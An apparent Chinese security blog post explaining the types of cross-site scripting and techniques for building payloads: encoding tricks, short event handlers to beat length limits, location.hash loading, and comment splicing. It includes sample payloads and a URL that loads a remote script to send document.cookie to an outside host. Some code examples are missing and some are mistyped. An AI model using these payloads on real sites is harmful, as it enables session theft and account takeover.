XSS

作者: 长毛先生 | 来源:发表于2020-05-13 16:28 被阅读0次

    一、XSS的分类

    反射形XSS:简单的把用户的输入的数据反射给浏览器,也就是诱使用户点击一个链接才能完成攻击,所以也叫非持续性XSS

    一个网页

    正常提交http://www.nor.com/1.php?param=测试!  

     网页显示“测试!”

    当提交一段代码http://www.nor.com/1.php?param=<script>alert(/xss/)</csript>,网页显示弹窗

    存储型XSS:攻击者把用户输入的数据“存储”到服务器,应用场景有,黑客可发布一篇含有恶意Js脚本的博客文章,只要用户浏览博客,都会在他们浏览器执行这段恶意代码。存储型XSS也叫持续性XSS

    DOM Based XSS:实际也是反射型XSS,只不过属于特殊的反射型,所单独列出来。该方式是通过修改页面的DOM节点形成的XSS攻击,所以称之为DOM Based XSS

    点击“”write“按钮后,会在当前的页面插入一个超链接,地址内容为文本框内容。

    所以,当别有用心插入一段代码时,‘onclick=alert(/xss/) //,页面代码变成

    以上代码先用单引号闭合href,然后插入onclick,最后//注释后面的内容

    另外还可以注释掉<a>标签,攻击形式相似。

    二、XSSpayload

    当完成XSS攻击后,黑客就能对用户浏览的页面植入恶意脚本,通过脚本,控制用户浏览器。完成这种攻击的脚本,就叫做“XSSpayload”,实际上就是JavaScript

    最常见的XSS Payload就是完成Cookie的劫持,例如加载一个远程脚本

    加载链接:http://www.text.com/test.html?abc="<script crc=http://www.xspl.com.xsspayload.js></script>"(真正的payload都是写在远程脚本中,避免URL代码参数过长)

    当攻击脚本执行的时候,这段代码会插入一张看不见的照片,同时吧document.cookie作为参数对象发送给远程服务器,而脚本中的www.xspl.com/log不一定要存在,当执行脚本的时候,远程服务器web中已经有日志记录。

    再利用工具,就能通过cookie登录用户相关网站

    当然,并不是所有cookie劫持都有用,当用户网站设定了IP与COOKie绑定,关键cookie植入httpOnly标示。

    但是并不是就没有办法了,攻击者仍然有其他方式控制用户浏览器,比如构造GET和POST请求。

    比如,假设某博客网站存在XSS漏洞,攻击者就可以通过一张照片发起get请求实现跨站删除博客的操作,前提是知道文章的ID

    初次之外,还可以进行POST攻击。攻击者可以通过构建表单(多参数可以用dom节点)或者XMLHttpRequest的方式,发送POST请求。由此,通过JS脚本发起的POST请求模拟浏览器发包,就能完成XSS攻击。

    此外,XSS的作用和攻击面还有如下几种:

    1、XSS钓鱼攻击:互动型的XSS攻击,一些网站加了动态验证码来阻止XSS,那是不是就没有办法了,并不是,黑客可以构建一些表单,让用户输入当前的验证码,然后就按以上的方法进行再次的XSS。

    2、识别用户浏览器:每个用户浏览器和不同版本有自身特征,黑客根据特征来识别浏览器,然后做针对性的攻击行为

    3、识别用户已安装软件:识别用户浏览器信息后,可以进行软件识别,某些软件可能存在漏洞,可以用来做攻击点使用,通过问题软件实现攻击目的

    三、XSS的构造技巧

    利用字符编码

    经典案例:baidu在一个<script>中输出一个变量,其中转义了双引号

    一般来说不存在XSS,因为变量的双引号用了\转义,变量无法escape。但是baidu用的编码是GBK/GB2312,所以当‘%c1\’这两个字符串在一起后,就变成新的一个Unicode字符,frefox会认为是一个字符构造出

    也就是转义字符\被吃掉了,firefox上变成下图,绕过安全检查

    绕过长度检查

    很多产生XSS漏洞的地方,变量都有长度限制,比如假设以下代码存在XSS漏洞

    服务端对var做了长度限制,那么我们可以构造$var为

    理想输出效果为

    但是,当限制的字符为20个的时候

    没有一个完整的函数,所以,这时候攻击者可以利用事件(Event)比如点击事件,来缩短所需字节数,将$var输出为

    当加上空格就刚好20个字符,也就是

    当用户点击文本框,就自动打开弹窗。显示 1

    但是利用事件缩短的字符数有限,最好还是将XSSpayload,通过远程的方式来加载。

    比如用“location.hash”的方式

    因为loaction的第一个字符必须是#,所以必须除去第一个字符(substr(1))

    构造出如下URL,所以只要点击文本框,就会弹出alert页面

    此外,当可以控制两个文本框的时候,第二个文本框允许填写更多内容,可以利用HTML的注释符号,将两个文本框之间 的HTML代码打通,从而链接两个<input>标签

    在第一个文本框中输入 ‘“><!--

    在第二个文本框中输入--><script>alert(/xss/);</script>

    最终效果就是

    <!-- -->之间的代码全部被注释了,在id=1的文本框中,只用了6个字符。

    此外XSS的攻击面和方式还有很多,比如Flash XSS,Anehta回旋镖等等,需要一个个认识体会各自妙用。

    相关文章

      网友评论

          本文标题:XSS

          本文链接:https://www.haomeiwen.com/subject/tfxbnhtx.html